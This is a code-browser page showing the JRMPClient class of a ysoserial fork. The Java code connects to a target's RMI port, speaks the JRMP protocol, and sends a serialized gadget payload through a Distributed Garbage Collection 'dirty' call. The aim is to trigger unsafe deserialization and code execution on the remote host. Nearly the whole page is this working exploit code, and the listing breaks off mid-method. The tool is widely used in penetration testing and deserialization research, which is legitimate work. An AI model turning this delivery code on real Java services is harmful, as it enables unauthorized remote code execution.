MCPcopy Create free account
hub / github.com/Y4er/ysoserial / JRMPClient

Class JRMPClient

src/main/java/ysoserial/exploit/JRMPClient.java:24–130  ·  view source on GitHub ↗

Generic JRMP client Pretty much the same thing as RMIRegistryExploit but - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) - not deserializing anything (so you don't get yourself exploited ;)) @author mbechler

Source from the content-addressed store, hash-verified

22 * @author mbechler
23 */
24@SuppressWarnings({
25 "restriction"
26})
27public class JRMPClient {
28
29 public static final void main(final String[] args) {
30 if (args.length < 4) {
31 System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
32 System.exit(-1);
33 }
34
35 Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
36 String hostname = args[0];
37 int port = Integer.parseInt(args[1]);
38 try {
39 System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
40 makeDGCCall(hostname, port, payloadObject);
41 } catch (Exception e) {
42 e.printStackTrace(System.err);
43 }
44 Utils.releasePayload(args[2], payloadObject);
45 }
46
47 public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException {
48 InetSocketAddress isa = new InetSocketAddress(hostname, port);
49 Socket s = null;
50 DataOutputStream dos = null;
51 try {
52 s = SocketFactory.getDefault().createSocket(hostname, port);
53 s.setKeepAlive(true);
54 s.setTcpNoDelay(true);
55
56 OutputStream os = s.getOutputStream();
57 dos = new DataOutputStream(os);
58
59 dos.writeInt(TransportConstants.Magic);
60 dos.writeShort(TransportConstants.Version);
61 dos.writeByte(TransportConstants.SingleOpProtocol);
62
63 dos.write(TransportConstants.Call);
64
65 @SuppressWarnings("resource") final ObjectOutputStream objOut = new MarshalOutputStream(dos);
66
67 objOut.writeLong(2); // DGC
68 objOut.writeInt(0);
69 objOut.writeLong(0);
70 objOut.writeShort(0);
71
72 objOut.writeInt(1); // dirty
73 objOut.writeLong(-669196253586618813L);
74
75 objOut.writeObject(payloadObject);
76
77 os.flush();
78 } finally {
79 if (dos != null) {
80 dos.close();
81 }

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected